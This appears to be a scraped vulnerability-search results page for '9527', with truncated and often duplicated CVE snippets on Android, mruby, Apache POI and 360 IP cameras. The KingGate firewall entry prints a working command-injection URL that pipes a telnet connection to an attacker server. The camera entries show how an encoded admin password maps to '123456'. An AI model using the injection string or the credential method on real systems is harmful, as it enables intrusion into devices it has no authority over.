CVE-2018-9527

In vorbisbookdecodevset of codebook.c there is a possible out of bounds write due to missing bounds check. This could lead to remote code execution with no additional execution privileges needed. User interaction is needed for exploitation. Product: Android. Versions: Android-7.0 Android-7.1.1...

CVE-2018-9527

The CVE-2018-9527 issue affects Android’s Media framework, specifically in vorbis_book_decodev_set of codebook.c, where a missing bounds check can cause an out-of-bounds write. This could enable remote code execution with no extra privileges, requiring user interaction to exploit. Affected versio...

CVE-2018-9527

In vorbisbookdecodevset of codebook.c there is a possible out of bounds write due to missing bounds check. This could lead to remote code execution with no additional execution privileges needed. User interaction is needed for exploitation. Product: Android. Versions: Android-7.0 Android-7.1.1...

Security Bulletin: Apache POI as used in IBM QRadar SIEM is vulnerable to various CVEs.

Summary Vulnerabilities affecting Apache Poi as used in IBM QRadar SIEM Vulnerability Details CVE-ID: CVE-2012-0213 Description: Apache POI is vulnerable to a denial of service, caused by the improper handling of memory when processing certain Channel Definition Format CDF/ Compound File Binary...

360 Wireless IP Camera Information Disclosure Vulnerability

360 Wireless IP Camera is a webcam product from China's Qihoo 360 Qihu 360. A security vulnerability exists in 360 Wireless IP Camera. A remote attacker can exploit this vulnerability by connecting to TCP port 9527 and reading the InsertConnect field to obtain RTSP credentials...

Default credentials

An issue was discovered on Wireless IP Camera 360 devices. Remote attackers can discover a weakly encoded admin password by connecting to TCP port 9527 and reading the password field of the debugging information, e.g., nTBCS19C corresponds to a password of 123456...

CVE-2017-11634

An issue was discovered on Wireless IP Camera 360 devices. Remote attackers can discover a weakly encoded admin password by connecting to TCP port 9527 and reading the password field of the debugging information, e.g., nTBCS19C corresponds to a password of 123456...

CVE-2017-11633

An issue was discovered on Wireless IP Camera 360 devices. Remote attackers can discover RTSP credentials by connecting to TCP port 9527 and reading the InsertConnect field...

Design/Logic Flaw

An issue was discovered on Wireless IP Camera 360 devices. Remote attackers can discover RTSP credentials by connecting to TCP port 9527 and reading the InsertConnect field...

CVE-2017-11633

The CVE-2017-11633 issue affects Wireless IP Camera 360 devices. Affected component: RTSP credential handling on the device. Root cause: remote attackers can read the InsertConnect field by connecting to TCP port 9527, leading to exposure of RTSP credentials. Publicly stated impact is credential ...

CVE-2017-11634

The CVE-2017-11634 issue affects Wireless IP Camera 360 devices. Remote attackers can read a weakly encoded admin password by connecting to TCP port 9527 and inspecting the debugging information; for example, nTBCS19C corresponds to the password 123456. The vulnerability has a high/critical impac...

CVE-2017-11633

An issue was discovered on Wireless IP Camera 360 devices. Remote attackers can discover RTSP credentials by connecting to TCP port 9527 and reading the InsertConnect field...

CVE-2017-11634

An issue was discovered on Wireless IP Camera 360 devices. Remote attackers can discover a weakly encoded admin password by connecting to TCP port 9527 and reading the password field of the debugging information, e.g., nTBCS19C corresponds to a password of 123456...

CVE-2017-9527

The markcontextstack function in gc.c in mruby through 1.2.0 allows attackers to cause a denial of service heap-based use-after-free and application crash or possibly have unspecified other impact via a crafted .rb file...

CVE-2017-9527

The markcontextstack function in gc.c in mruby through 1.2.0 allows attackers to cause a denial of service heap-based use-after-free and application crash or possibly have unspecified other impact via a crafted .rb file...

CVE-2017-9527

mruby

CVE-2016-9527

...

CVE-2016-9527

CVE-2016-9527 is rejected/not used as a CVE entry; not associated with a vulnerability.

Kingsoft KingGate firewall suffers from remote command execution vulnerability (CNVD-2016-05715)

KingGate Firewall is a firewall product. Kingsoft KingGate Firewall has a remote command execution vulnerability. Construct URL: https://target/src/application/log/auditmail.php?IGfilename=1|telnet%20public server ip%209527;echo%20&tablename=3333 can execute system commands on public network The...

Fedora Update for armacycles-ad FEDORA-2015-9527

The remote host is missing an update for the SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...